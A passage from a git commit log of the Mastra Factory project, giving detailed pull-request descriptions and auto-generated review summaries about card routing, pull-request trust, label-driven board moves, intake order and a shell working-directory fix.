  - the working-pull-request endpoint.
- `mastracode/factory`: `pnpm build:lib`, `tsc --noEmit`, `oxlint
--type-aware` (0/0), oxfmt.
- Broad LibSQL run: only the known baseline fails (`routes/config`,
`routes/session-model-catalog`, `routes/fs`).
- Postgres: only the 17 `dispatcher` and `transition-service` failures
that also fail on main.
- `mastracode/factory-ui`: typecheck, lint (0/0) and unit (688) pass.
The 29 MSW failures also fail on the base branch.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Pull requests that close an unfinished issue now attach to that
issue's card. Only trusted pull requests start work on the card
automatically. A person can choose which linked pull request the card
works on, and cards can move to another board.

## Overview

This change updates how pull requests link to work-item cards in the
Factory. It also adds cross-board card moves and an endpoint that
selects the working pull request. A pull request that closes an
unfinished issue links to that issue's card. The link emits a
`pull_request.opened` event. Board rules decide whether the card moves.

## Behavior changes

- **Linking:** A pull request that closes an unfinished issue links to
that issue's card. This applies whether or not the author is trusted. A
finished card does not receive the link. The pull request gets its own
card.
- **Trust:** Linked pull requests from outside authors are marked
untrusted. Untrusted pull requests do not:
  - become the working pull request automatically
  - start review
- move the card on opening, reopening, pushes, updates, or review
requests, except by a rule that tests `pullRequest.trusted`. A rule that
doesn't, such as an older project's stored "Pull requests go to Review"
or one testing only `source.repository`, skips the event. Stored rules
are never rewritten.
  - affect the card through comments
- **Merge or close:** Merging or closing a linked untrusted pull request
can still move the card.
- **Join routes:** Creating a route with `joinClosedIssue: true` returns
`422 join_retired`. Stored join routes stay readable. A stored join
route can be turned off. It cannot be turned back on. A modified join
route is switched off with a `rule_retired` intake decision log entry.
Only unmodified join routes are switched off silently.
- **Default route:** `CLOSES_ISSUE_INTAKE_ROUTE` is replaced by
`LINKED_PULL_REQUEST_ROUTE` (key `linked-pull-request`). This route
moves a card to Review when a trusted pull request that closes an issue
opens, and that issue's card is in Intake with no pull request. For new
projects, the "Pull requests go to Review" route also tests
`source.kind`, so a trusted linked pull request doesn't send an issue's
card to Review from any phase ahead of the linked rule. Existing
projects keep their stored route as it is.
- **Working pull request:** The endpoint `PUT
/web/factory/projects/:id/work-items/:workItemId/working-pull-request`
sets the working pull request. The request body contains `pullRequest`
and `expectedRevision`.
- `422 pull_request_not_linked`: the pull request is not linked to the
card.
- `422 pull_request_not_open`: the pull request is not open. The open
check runs again inside the write transaction.
  - `409`: the revision is stale.
  - Selection does not change the author's trust.
- **Fallback:** When the working pull request closes unmerged, the card
uses its first trusted open pull request. A trusted open pull request is
preferred over a merged one.
- **Cross-board moves:** A route can set `moveToBoardKey` to move a card
to another board. The card keeps its ID, history, and sessions. A board
change opens a new stage-history entry, even when the phase key is
unchanged. The old phase context stops, and the target phase starts when
configured. The old board's transition graph does not restrict the move.
- If the target cannot accept the card, the route is skipped and the
next route runs. The skip is recorded as `rule_skipped`.
  - Rule moves do not chain.
- `intakeTargetProblem` rejects cross-board moves for join routes and
for routes that place new cards on arrival.
- The UI picker for cross-board moves is deferred to Wave 3. The API
supports the feature.
- **Trust conditions:** `item.trusted` replaces `author.trusted` for
card-author trust. `pullRequest.trusted` carries the trust of the event
pull request. Stored `author.trusted` conditions are read as
`item.trusted`.

## Code changes by area

- **Board semantics:** `semantics.ts` adds `workingPullRequest`,
`openPullRequestSource`, `pullRequestTrustKey`,
`trustedPullRequestSource`, `pointedPullRequest`, and
`UNTRUSTED_PULL_REQUESTS_KEY`. It removes `newestOpenPullRequestNumber`.
`reviewedPullRequest` delegates to `workingPullRequest`.
- **Intake routing:** `intake-routing.ts` adds an `options` argument to
`resolveEventRoute`. The function returns `board` and reports skipped
routes through `onSkip`. It removes `resolveIntakeRoute` and
`IntakeRouteResolution`.
- **Card facts:** `card-facts.ts` resolves the working pull request
separately from the numeric pointer. Pull-request cards use the card
author's trust.
- **Dispatcher and transitions:** `dispatcher.ts` attaches untrusted
pull requests to unfinished issue cards and queues `pull_request.opened`
using facts saved at attachment. `transition-service.ts` accepts
`toBoard` for event-route moves.
- **Provider rules:** `github/rules.ts` adds `githubPullRequestTrusted`.
`gitlab/rules.ts` adds `gitlabMergeRequestTrusted`. GitLab branch-based
card selection excludes merge requests from a different source project,
including forks that reuse a branch name.
- **Storage:** The intake routes schema adds `move_to_board_key`.
`IntakeDecisionOutcome` adds `rule_skipped` and `rule_retired`.
`attachSource` accepts `cardMetadata`. `update` accepts `check`.
- **Contracts and CLI:** `contracts.ts` adds
`workItemWorkingPullRequest`. The CLI adds `mastra api factory work-item
working-pull-request`.
- **Exports:** `newestOpenPullRequestNumber` is no longer exported. The
changeset recommends `workingPullRequest` with
`pullRequestSourceNumber`.
- **UI:** The Factory UI shows the updated trust fields. It no longer
offers new join routes. Copied routes that move a linked issue's card
continue to be repointed.

## Testing

The PR objectives report these results. They are author reports, not
results verified in this summary.

- `mastracode/factory`, LibSQL: known baseline failures remain in
`routes/config`, `routes/session-model-catalog`, and `routes/fs`.
- `mastracode/factory`, Postgres 16: 17 `dispatcher` and
`transition-service` failures remain. The author reports that these also
fail on the base branch.
- `mastracode/factory`: `pnpm build:lib`, `tsc --noEmit`, `oxlint
--type-aware` (0 warnings, 0 errors), and oxfmt were reported as
passing.
- `mastracode/factory-ui`: typecheck and lint (0 warnings, 0 errors)
passed. 688 unit tests passed. 29 MSW failures also occur on the base
branch.

Current CI status on the head commit: not available.

## Review feedback

The author reports fixes for review feedback, each covered by scenario
tests on LibSQL and Postgres:

- `closedIssue.hasPullRequest` counts only other trusted open pull
requests.
- A pull request head is recorded only when it is the card's working
pull request.
- Fallback selection is covered by a 12-row test table.
- Three card facts come from one `workingPullRequest` result.
- Link facts are saved at attachment and read when the event is queued,
so a stale retry cannot report `hasPullRequest: true`.

## Review notes

- Estimated review effort is High for `intake-routing.ts`,
`dispatcher.ts`, and `github/rules.test.ts`.
- Review severity counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 20:39:22 +01:00
Ward Peeters
a847c38643
feat(factory): move board cards when labels or assignees change (#30373)
> **Stack, in merge order:** #30370 (intake order) → **#30373 (this
PR)** → card actions → #30380 (intake dry run) → board UI. This PR is
based on `feat/factory-intake-order`; review only its own commits.

## What this changes

Until now, Factory boards could only react to an item opening, closing
or reopening. A team that triages by label, for example "add `ship` to
send it to Done", had no way to make Factory move the card. This PR adds
the update events from the board intake spec, so a board's routes can
move a card when its labels or assignees change. It also splits board
events into two families: `work_item.*` events are about issues, and
every pull or merge request event is `pull_request.*`.

**Two event families**
- `work_item.opened` files new issues. `pull_request.opened` files new
pull requests with no card, and still moves an issue's card when its
pull request opens.
- `work_item.created`, the older arrival event, keeps its meaning: it
files issues and card-less pull requests alike and never moves a card.
Stored routes on it, and routes created without `on`, behave as before,
and the API keeps it as written, so editing an older route never narrows
it to issues.
- A `pull_request.opened` route stored by 0.28 or earlier only ever
moved cards, and still does. It files no pull request, so it can't take
an outside author's pull request ahead of the outside-authors route. A
nullable column on each route row, `opened_files_pull_requests`, tells
them apart: it is written `true` on every new route, never backfilled,
and never changed by an edit. The API returns such a route with the new
field `pullRequestOpenedMovesOnly: true`, and every edit keeps it, `on`
included, so a trigger change and its Undo in Settings leave it a card
move. To file pull requests, add a route. Settings lists it with its
board's card moves, "Send new cards to" never takes it for the pull
request catch-all, and a restore or a copy to another board keeps it a
card move.
- New projects get their pull request routes on `pull_request.opened`.
Older projects keep their routes as written.

**New events**
- `work_item.updated` fires when an issue's labels or assignees change.
It carries exactly what changed: `event.labels.added`,
`event.labels.removed`, `event.assignees.added` and
`event.assignees.removed`.
- `pull_request.updated` is the same event for a pull or merge request,
whether it has a card of its own or is attached to an issue's card.
- `pull_request.reopened` moves a card only where a route names it. No
seeded route uses it, so nothing moves by surprise. A reopened pull
request with no card is filed like a new one.

**New filters:** `card.phase` (card moves only), `item.hasPullRequest`
and `item.hasIssue`, plus the change filters above. Fields the spec
drops from the picker are exported as `LEGACY_RULE_FIELDS`, and stored
rules using them keep evaluating. The Legacy filter UI is a later wave.

**How updates behave**
- If the card's own session makes the changes, they are held until its
run ends, then folded into one event. A run that adds four labels moves
the card once.
- If a person makes the change, the card moves without waiting for any
run, after a burst window of about 5 seconds. Several changes inside
that window become one event. "Immediate" in the spec means no run wait;
the README says so.
- Folding keeps the net change across every folded update, not just the
newest one. Adding `ship`, then adding `bug`, then removing `bug` gives
one event with `added: [ship]`.
- A move made by a rule changes the card, not the source item, so it
never produces an update.
- An update never cancels a close or a reopen, and is never cancelled by
one.
- A reopened GitHub or GitLab issue or pull request with no card is
filed the way a new one is (D16). A re-filed item is judged by its own
author's trust, not by whoever labelled or reopened it.

**Providers**

| Provider | Where updates come from | Held for the card's session |
| --- | --- | --- |
| GitHub | issue and pull request
`labeled`/`unlabeled`/`assigned`/`unassigned` webhooks, plus the polling
path | when the Factory app made the change |
| GitLab | label and assignee changes in issue and merge request hooks |
when Factory authored the change |
| Linear, Jira, incident.io | each poll compared with a recorded
baseline | never |

Two approximations, both in the README:
- **"Own session" means the Factory app or author.** Neither webhook
ties a change to a particular run, so any change made by the Factory app
or Factory author counts as the card's own session.
- **Linear, Jira and incident.io changes are never held.** Polling can't
tell who made a change, so these count as a person's changes and are
batched by the poll interval. The first sync after upgrade only records
a baseline, so existing cards don't all fire at once.

**Not routed items.** An update to an open issue or pull request with no
card runs intake again only when intake turned it away. GitHub and
GitLab check the issue's Not routed record from #30370: an issue no
board took that is later labelled to match a board's rule lands on that
board, and its record is resolved. The stored boards domain answers the
lookup (`isNotRouted`), and the integration context passes it to both
providers. Linear, Jira and incident.io already run intake for a
card-less item on every sync that sees it change.

**Factory's own labels.** `status: needs approval` and `status:
auto-triaged` never count as a change, whoever adds or removes them.
Like a rule's own move, they are bookkeeping.

**Held updates are polled.** A held update is re-checked about every 10
seconds and lands within about 10 seconds of the run ending. Releasing
it straight from the run-end signal would need a new "make claimable
now" storage method on LibSQL and Postgres, plus session listeners that
work across replicas. Waiting inline on the run instead would hold a
lease and an in-flight slot for the whole run. So it stays polling for
now.

**Not in this PR:** cross-board moves, built-in pull request linking,
trust filters and the working pull request are in the card-actions wave.

## Tests

Scenarios drive the real path (provider webhook or sync fixture, then
integration rules, dispatcher and storage) on LibSQL and Postgres, and
assert what a person sees: the card's phase, its labels, the Not routed
list, or no card.

- **Added:** one cross-provider table
(`integrations/polled-card-updates.test.ts`) runs every update scenario
for Linear, Jira and incident.io. GitHub and GitLab label, assignee, Not
routed and reopen cases are tables over real card storage.
- **Removed:** per-provider copies of those scenarios,
`card-metadata-commit.test.ts`, board-event name and alias unit tests,
arrival resolver unit tests, and mocked `isNotRouted` stubs. Commit
84bbd818c75 names the covering scenario for each.
- **Kept as unit tests:** pure logic tables only (route-event
validation, `combineChanges`, card facts, decision validation).
- **Net test lines vs #30370:** +1496 / −87 (**+1409**, down from
+2197). The rest are regression scenarios for bugs fixed in review:
out-of-order and racing snapshots, failed-queue redelivery,
run-in-flight holds, lease and fold-boundary races, trust on re-filing.

## Test plan
- Every new test was seen failing first, and the consolidated tables
were proved by breaking the code they guard: each breakage fails exactly
its rows.
- 0.28 `pull_request.opened` routes, proved by breaking the marker read,
the edit path, the restore path, the settings catch-all and the board
copy in turn:
- a dispatcher scenario on older and new projects, where an untrusted
card-less pull request reaches the outside-authors route;
- an HTTP test, where a rename and a terminal target keep the route a
card move, a delete and restore keep it, and so do a trigger change and
the Undo that sends the old `on` back;
- an MSW settings test, where the route isn't listed with new-card
routes, "Send new cards to" leaves it alone, and its Ship copy stays a
card move.
- Type checks by exit code: factory `tsc` 0, factory-ui `tsc` 0, CLI
`tsc` 0; `build:lib`, `oxlint --type-aware` and factory-ui lint all exit
0; CLI route metadata regenerated with no drift.
- LibSQL: boards, rules, integrations, storage and intake-route API,
3692 passed, exit 0.
- Postgres 16, throwaway container: boards, storage, intake-route API,
dispatcher intake routes and every provider's rules, 2909 passed, exit
0.
- Factory UI: 706 unit tests pass (exit 0). MSW: 25 failures, all in
files this PR doesn't touch (AppStartup, BoardPageSourceFilters,
OMSection, MemorySettings, NewSessionStarters, ThreadPage*,
TranscriptMessageMeta); every intake settings test passes.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Board cards can now move when someone changes their labels or
assignees, or when a pull request is reopened. Issue events and pull
request events are now two separate families, and old routes keep doing
what they did.

## Summary

This change updates board routing in `@mastra/factory`. It covers 61
files, with 3338 lines added and 399 removed.

### Event changes

- `work_item.*` events are about issues; every pull or merge request
event is `pull_request.*`.
- `work_item.opened` files new issues; `pull_request.opened` files new
pull requests with no card and moves an issue's card when its pull
request opens.
- `work_item.created` keeps its meaning: it files issues and card-less
pull requests alike. Stored routes and API requests keep it as written.
- A `pull_request.opened` route stored by 0.28 still only moves cards.
The API marks it `pullRequestOpenedMovesOnly: true`, and every edit
keeps it.
- New update events: `work_item.updated` and `pull_request.updated`.
- New reopen event: `pull_request.reopened`. Reopened pull requests move
cards only when a route names this event.
- A change to a pull request produces `pull_request.updated`, on its own
card or an issue card it is attached to.
- Factory-managed status labels are excluded from update events.
- Rule-driven moves do not trigger update events.

### Rule filters and validation

- New card-rule fields: `card.phase`, `item.hasPullRequest`, and
`item.hasIssue`.
- `item.hasPullRequest` counts only pull requests attached beside the
card's own source.
- New change-detail inputs for update events: added and removed labels
and assignees.
- Label and assignee names compare case-insensitively. The newest
spelling is kept.
- Change-field filters require an update event.
- Routes that use only `work_item.opened` or `work_item.created` reject
event-fact and card-phase filters.
- Board-event validation accepts `labels` and `assignees` changes only
on update events. Each change must have only `added` and `removed`
lists. Each list holds at most 100 names. Each name holds at most 500
characters and must not be blank.
- `fromCardSession` is accepted only on update events, and only when it
is `true`.

### Dispatch behavior

- Updates made by a card's own Factory session are held until the run
ends. They are then combined into one event.
- Updates made by people are held for a 5-second burst window
(`UPDATE_BURST_MS`). The dispatcher combines a burst into its net change
and supersedes earlier decisions in that burst.
- Net-zero changes do not move the card.
- A queued update does not overtake a close event.
- A move to a nonterminal phase waits for an in-flight card run to
finish. A terminal move runs without waiting.
- A postponed decision uses its supplied retry date. Without one, the
default delay is 10 seconds.
- Polling-based providers (Linear, Jira, and incident.io) do not hold
updates. Their first sync records a baseline.

### Intake for items without cards

- GitHub and GitLab: a changed open issue with no card reruns intake
only when intake previously rejected it. This check uses the
`NotRoutedLookup` that the integration runtime exposes as `notRouted`.
Closed issues are not filed.
- Linear, Jira, and incident.io: a changed item with no card produces a
new intake decision. An unchanged item does not.
- Reopening a GitHub or GitLab issue with no card files it like a new
issue.

### GitLab and GitHub specifics

- GitLab identifies Factory-authored changes by comparing the webhook
user with the user each active connection acts as. The lookup uses `GET
/api/v4/user` and is cached per connection.
- Factory-authored GitLab changes are marked as part of the card's own
session.
- Pull-request label and assignee actions are forwarded to Factory
ingestion. Pull-request `edited` actions are not forwarded.
- GitHub `pullRequestReopened` is set to `null` in the default rules.
Reopened pull requests act only when a route names them.

### Storage and API

- `StoredBoardsStorage.isNotRouted` reports whether an unresolved
`not_routed` decision exists for a project and source key.
- `routeEvents` returns stored event names as written; routes gain a
nullable `opened_files_pull_requests` marker, never backfilled.
- Update commits use delivery identity, actor, and config version.

### Out of scope

- Cross-board moves.
- Built-in pull request linking.
- Trust filters.
- The working pull request.

These items are assigned to the card-actions wave.

### Testing

- Test results for the current head are not available. The pull request
objectives report local test counts, but no completed checks on the
current head confirm them.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 20:39:22 +01:00
Ward Peeters
820187e0db
feat(factory): route new items by board intake order, with Not routed instead of a default board (#30370)
## What this changes

Today a Factory project has one list of intake routes covering every
board, and the first matching route decides where a new item lands.
Anything no route matches is silently filed on the Work board (or the
first board when there is no Work board). That makes "which board gets
this item" depend on how routes for different boards happen to be
interleaved, and hides items nobody wrote a rule for.

This PR adds a second way of deciding, the **intake order** evaluator:

- **Each board owns its rules.** A rule places cards on its own board
only, and each board can have up to 100 rules (the limit was 100 per
project).
- **The project has an intake order**, separate from the sidebar order:
the order its boards are asked to take a new item. Inside a board, its
rules are tried top to bottom.
- **No default board.** An item no board takes is recorded as **Not
routed**: no card is filed, the reason is kept, and an admin can **Route
again** once a rule is fixed. A card created without naming a board that
no board takes is refused with `intake_board_required` so the person
picks a board.
- **Deleting a board deletes its rules**, each with an audit entry, and
drops the board from the intake order.

### Rollout

Each project has its own evaluator, stored with its intake order (a
nullable `intake_evaluator` column on the project's
`factory_intake_route_locks` row):

- **New projects use `intake-order`.** `FactoryProjectsStorage.create`,
the only place a project is created (the HTTP route, the `mastra api`
CLI and every test helper go through it), stamps the setting in the same
transaction as the project row, so a project never exists without it. A
new project's intake order is also its own from the start (`explicit`),
so a board added later is asked before Work's catch-all; deriving the
order from the rule list is only for existing projects.
- **Existing projects keep `route-list`**, with the same
Work/first-board fallback as today: their rows have no setting (null
reads as `route-list`). An admin switches one with `PUT
.../intake-order` and `{ "evaluator": "intake-order" }` (audited as
`factory.intake_order.evaluator_updated`); switching back works the same
way.
- **Forcing still works.** `MastraFactory({ intake: { evaluator } })` or
`FACTORY_INTAKE_EVALUATOR` (`intake-order` or `route-list`; the option
wins) forces one evaluator on every project, for rollout and tests. `GET
.../intake-order` reports the effective `evaluator`, `evaluatorSource`
(`option`, `env`, `project`, or `legacy` for a project with no setting)
and the project's own `projectEvaluator`.
- **Unreadable setting.** `route-list` applies only when the setting was
read and is null. While it can't be read (boards storage failed to
start, or the read fails), arrivals wait and retry, a boardless manual
create is refused with `intake_board_required`, and Route again is
refused (its routes aren't mounted without boards storage). Only a
forced `route-list` files without it.
- **Rolling deploy.** A replica on an older release ignores the setting
and decides every project by `route-list`, so a new project's items can
be routed by the route list until every replica runs this version. A
project created on an older replica gets no setting and stays on
`route-list` until switched.

The Work fallback lives in one function in `boards/intake-routing.ts`
(`resolveByRouteList`), deleted once no project uses `route-list`; the
intake-order path names no board.

To make switching an existing project safe, Factory derives its intake
order from its current rules (boards by the position of their first
placing rule, then the rest in sidebar order). Until an admin sets the
order, it follows every rule write. `GET .../intake-order` runs both
evaluators over the project's newest 200 cards against the order in
force (derived or chosen) and reports how many would land on a different
board and how many no board would take. It is worked out on each read,
nothing is stored, and arrivals do no extra work. Nothing is rewritten.

Every arrival's decision (placed or Not routed) is recorded under both
evaluators in a new `factory_intake_decisions` table, keyed by the
arrival's idempotency key so redeliveries replace rather than duplicate.
Rows are kept with no retention: the full history is wanted, and the
per-rule counts in a later wave read the placed rows. When a card is
later filed for the item, its Not routed record is resolved.

### API

| Request | What it does |
| --- | --- |
| `GET .../intake-routes?boardKey=…` | One board's rules |
| `POST .../intake-routes/reorder` with `boardKey` | Reorders one
board's rules within the slots they hold; other boards stay put |
| `PATCH .../intake-routes/:routeId` | Under `intake-order` only,
changing the rule's board is refused with `intake_route_board_fixed`
(422). Under `route-list` it works as today, so the current Settings
retarget control keeps working until the UI wave |
| `GET` / `PUT .../intake-order` | Read the order, whether it is
`derived` or `explicit`, the effective evaluator and where it came from,
and the comparison of both evaluators against that order. `PUT` takes
`boardKeys` (every board once), `evaluator`, or both; admin only, each
change audited |
| `GET .../intake/not-routed` | Unresolved Not routed items with
reasons, oldest first, paged with `limit` and `cursor` |
| `POST .../intake/not-routed/:decisionId/route-again` | Always decided
by intake order. 422 `intake_not_routed` while still unmatched;
otherwise queues the arrival and the dispatcher files it the same way
(admin, audited) |

`mastra api` gains matching commands (generated CLI metadata).

### Notes for reviewers

- The spec says Not routed lives in "the existing decision log". No
per-arrival routing log exists today (only the winning route id on the
card, route audit events and the deferred-decision queue, whose statuses
don't fit), so this adds `factory_intake_decisions` in the boards
domain.
- The intake order and its origin are two nullable columns on the
existing `factory_intake_route_locks` row. The order is reconciled on
read, so boards created later (including code boards) slot in just above
the first board whose rules end in a catch-all, or last.
- Provider-side pre-routing (`integrations/github|gitlab/rules.ts`)
still calls `intakeTarget`; under the new evaluator its board is
overridden by intake, and that code belongs to the events wave.
- The project-wide reorder body limit rose from 100 to 10,000 ids since
the per-project cap is gone; a board-scoped reorder is still capped at
100.

### WorkOS audit strings to register

- `factory.intake_order.updated`
- `factory.intake_order.evaluator_updated` (metadata `{ before, after
}`, `before` null for a project with no setting)
- `factory.intake.routed_again`

## Test plan

All new tests run on LibSQL and on a throwaway Postgres 16 container.

- [x] Evaluator: contiguous rules route the same under both evaluators;
interleaved rules differ; no match is Not routed; a registry with the
seeded board renamed (no `work` key) is still Not routed, never a named
fallback; disabled/join/uninstalled rules skipped; flag precedence
- [x] Storage: derived intake order that follows rule writes until set,
new board above the first catch-all, set-order refusals, board delete
cascades rules and closes gaps, per-board reorder, per-board 100 limit
(create and moving a rule to another board), Not routed paging oldest
first
- [x] Comparison: contiguous rules report 0 differing; interleaved rules
report the exact differing and not-routed counts; only the newest 200
compared; GET describes the order in force, derived or chosen
- [x] Dispatcher: interleaved rules place by board; no match files no
card and records Not routed; redelivery after a rule fix files it and
resolves the record; old evaluator still files Work; Not routed resolved
only after initial entry and on retries; arrivals wait and retry while
intake rules are unavailable
- [x] Manual create: rule match files on the rule's board; unmatched
refused with `intake_board_required` and files nothing; naming the board
then files it; old evaluator keeps its fallback
- [x] API: board-fixed 422 only under `intake-order`; per-board
list/reorder; intake order GET/PUT with refusals and audit; Route again
404/403/422, then queued, filed by the dispatcher on the rule's board
and resolved (409 on a second attempt), by intake order even on a
`route-list` replica and with the closed-issue facts
- [x] Per-project evaluator: a project created through storage is
stamped `intake-order` in the same transaction (also with the boards
domain unregistered) and its arrivals are decided by intake order with
nothing forced; a project with no setting keeps `route-list` (arrivals
and manual create); option/env force either way over the setting; `PUT`
switches an existing project (admin only, audited once, order stays
derived); GET reports `evaluatorSource`; a new project's later board
slots above Work's catch-all
- [x] Unreadable setting: with no boards storage and nothing forced, an
arrival (new or older project) files no card and retries, then lands on
its rule's board once a replica with boards storage takes it; a
boardless create is refused on new and older projects and when the
setting read throws
- [x] Existing tests that pin route-list behaviour now say so by marking
their project as one from before the setting
(`asProjectFromBeforeIntakeEvaluator`); the project-creation runtime
test now expects an unmatched issue Not routed and a boardless manual
create refused
- [x] `grep DEFAULT_BOARD_ID` finds nothing in `rules/dispatcher.ts` or
`work-items/create-work-item.ts`
- [x] Factory focused suites (30 files, 946 tests), `tsc --noEmit`,
`oxlint --type-aware`, `build:lib`; factory-ui typecheck and intake MSW
tests
- [x] Known baseline: `session-tools`, `config`,
`session-model-catalog`, and `fs.test` "reads a submitted plan…" fail on
main unchanged

## Tests

Behaviour is tested by scenarios through the dispatcher (arrival → rules
→ storage), HTTP routes on real server and storage, and storage on
LibSQL and Postgres. Unit tests remain only for pure logic with many
input combinations (evaluator precedence, per-rule placement skips,
comparison counts and sample cap).

- **Scenarios added:** contiguous rules file every arrival on the same
board under both evaluators; interleaved rules place by board; no match
→ Not routed record and no card, resolved once filed after a rule fix
(also on a retry); Route again files through the dispatcher; new
projects decided by intake order, older ones by the route list, forced
evaluator wins, switching takes effect on the next arrival; unreadable
setting → arrival waits and lands once boards storage is back; a
work-less project's GitHub arrivals over HTTP.
- **Unit tests removed (covered above):** the pure
`deriveIntakeOrder`/`reconcileIntakeOrder` file, five
`resolveIntake`/`projectIntakeEvaluator`/`compareIntakeOrder` cases, six
storage cases duplicated by route tests, and four dispatcher/create
cases duplicated by sibling scenarios. The consolidation commit maps
each removal to the test that covers it.
- **Net test lines:** consolidation −202 (+16 / −218); branch total vs
main +1197 / −46.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Factory sends new work items to the right board. This PR adds a second
way to do that. Each board has its own rules, and the project has an
ordered list of boards. An item goes to the first board whose rules
accept it. If no board accepts it, the item is marked "Not routed."

## Overview

This PR adds an optional `intake-order` evaluator for Factory item
routing. The existing `route-list` evaluator stays the default. The diff
changes 30 files, with 2,834 lines added and 158 removed, relative to
merge base `2087fdcc`.

## Behavior

- **Board rules:** Each board holds up to 100 intake rules. Rules run
top to bottom.
- **Board order:** A separate project intake order sets which boards are
checked first.
- **Derived order:** Until an administrator sets the order, it derives
from rule writes. A route write clears a derived order. An explicit
order is kept.
- **No default board:** Under `intake-order`, an item that no board
accepts is recorded as Not routed. The item does not go to a default
board.
- **Manual creation:** Creating an item without a board is refused with
`intake_board_required` when no rule selects a board. The refusal
returns HTTP 422.
- **Route-list behavior:** `route-list` keeps first-match placement and
its fallback to the Work board or first board.
- **Rule moves:** Under `intake-order`, a route's target board cannot
change. Moving a rule onto a board that has 100 rules is refused with
`intake_route_limit`.
- **Board deletion:** Deleting a board deletes its rules. Each deleted
rule is recorded as a `factory.intake_route.deleted` audit event with
cause `board_deleted`.

## Evaluator selection

- Set the evaluator with `MastraFactory({ intake: { evaluator:
'intake-order' } })`.
- Alternatively, set `FACTORY_INTAKE_EVALUATOR=intake-order`.
- The configuration option takes precedence over the environment
variable.
- Any other value selects `route-list`.

## Decisions and Not routed items

- Each arrival writes a decision record to `factory_intake_decisions`.
This applies under both evaluators.
- Decision records have no retention limit.
- A redelivered arrival replaces its earlier record.
- Not routed items are listed oldest first with cursor paging.
- Admins can retry an unresolved Not routed arrival. A retry succeeds
only when a rule now matches. It returns 404 for a missing or ineligible
decision, 409 for a resolved decision or unavailable rules, and 422 when
resolution produces no route. A successful retry returns 202.
- Items whose decision key uses the route-again prefix always use
`intake-order`.

## Comparison endpoint

- `GET .../intake-order` computes a comparison on each request. It does
not store the result.
- The comparison uses the project's newest 200 cards.
- It runs both evaluators against the order in force on that read.
- The response reports whether the order is `derived` or `explicit`. It
also reports the count of differing destinations and the count of
`intake-order` Not routed outcomes.

## API and CLI

- **Rules:** Board-scoped route list and reorder. The reorder request
accepts an optional `boardKey`. Project-wide reorder accepts up to
10,000 route IDs. Board-scoped reorder accepts up to
`MAX_INTAKE_ROUTES_PER_BOARD`.
- **Intake order:** Routes to read and set the board order.
- **Not routed:** A list route for unrouted decisions.
- **Retry:** A route to route an item again.
- **CLI:** `factory intake-order get|set`, `factory not-routed list`,
and `factory route-again`. `factory intake-route list` accepts a
`boardKey` filter and optional JSON input.
- **Errors:** New error codes are `intake_order_set_mismatch`,
`intake_decision_not_found`, and `invalid_intake_cursor`.
- **Constant rename:** `MAX_INTAKE_ROUTES` is renamed to
`MAX_INTAKE_ROUTES_PER_BOARD`. The value stays 100.

## Storage

- `FACTORY_INTAKE_DECISIONS_SCHEMA` is added. It enforces uniqueness on
project and idempotency key. It has indexes on project, outcome and
time, and on project and source.
- The intake-route lock schema gains an ordered board-key field and an
origin field (`derived` or `explicit`).
- `StoredBoardsStorage.delete` now returns the deleted intake routes.

## Other changes

- `resolveIntake` replaces `resolveIntakePlacement` in work-item
creation and in reroute planning. The Work and first-board fallback is
removed from the `intake-order` path.
- The dispatcher records each arrival as `placed` or `not_routed`. A Not
routed arrival is not filed.
- The audit action set gains `intake.routed_again` and
`intake_order.updated`.
- `IntakeRouteRoutes` accepts the PUT method.
- The README and the changesets (`mastra` patch, `@mastra/factory`
minor) document the new behavior.

## Verification

The PR author reports:

- Factory focused suites on LibSQL and PostgreSQL 16 (30 files, 946
tests).
- `tsc --noEmit`, `oxlint --type-aware`, and `build:lib`.
- Factory UI typecheck and intake MSW tests.
- Two `session-tools.test.ts` failures. The author reports that these
also fail on main.

These results were not re-run for this summary. CI status on the current
head: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 20:39:21 +01:00
mastra-platform[bot]
037b9b75a8
fix(core): default shell commands to the workspace filesystem root (#30210)
> Opened by @wardpeet

## What this fixes

With `LocalFactorySandbox`, `execute_command` ran from the session
directory (`<root>/<sessionId>`) while the workspace filesystem — and
with it the plan card — resolved relative paths against the checkout one
level below (`<root>/<sessionId>/<repo>`). A plan written with a shell
command (`cat > .artifacts/plans/x.md`) therefore landed where the plan
card never looks, and the card reported "The plan could not be loaded"
even though `submit_plan` had succeeded with that same relative path.
Writing the plan with the file tool worked, which is what made the bug
look intermittent.

The fix gives a workspace one rule: **a workspace's default shell cwd is
the root of that workspace's filesystem.**

- `WorkspaceFilesystem` gains an optional `getCommandCwd()`, implemented
by `SandboxFilesystem` as its resolved workdir.
- `execute_command` defaults its cwd to that root (foreground and
background commands), resolves a relative `cwd` against it, and still
honours an explicit absolute `cwd`.
- Filesystems that report no root (host, in-memory, mounts, third-party
implementations) and workspaces without one keep the sandbox's own
default working directory exactly as before.
- Only the configured filesystem is consulted, so a sandbox-only tool
call still never invokes a dynamic filesystem resolver.

## Review

**Approved** — reviewed head `7f4c1613dc`

One optional capability, one default in the shell tool, and the two
align: a relative path now means the same directory to `execute_command`
and to the file tools, so a plan a shell command writes is the plan the
plan card reads.

### Checks on this head

| Check | Result | Tests |
| --- | --- | --- |
| `@mastra/core` `execute-command.test.ts` + `dynamic-sandbox.test.ts` |
❌ one pre-existing failure | 83 passed, 1 failed (not this change — see
note) |
| `@mastra/core` `src/workspace` suite | ❌ same single pre-existing
failure | 2641 passed, 1 failed |
| `@mastra/code-sdk` `sandbox-filesystem.test.ts` | ✅ Passed | 72 passed
|
| `@mastra/factory` `src/sandbox/command-cwd.test.ts` | ✅ Passed | 4
passed |
| `@mastra/factory` `src/sandbox` + `src/integrations/github` | ✅ Passed
| 949 passed, 6 skipped |
| Typecheck `@mastra/core`, `@mastra/code-sdk`, `@mastra/factory` | ✅
Passed | |
| Lint and format on the changed files (`oxlint --type-aware`, `oxfmt
--check`) | ✅ Passed | |
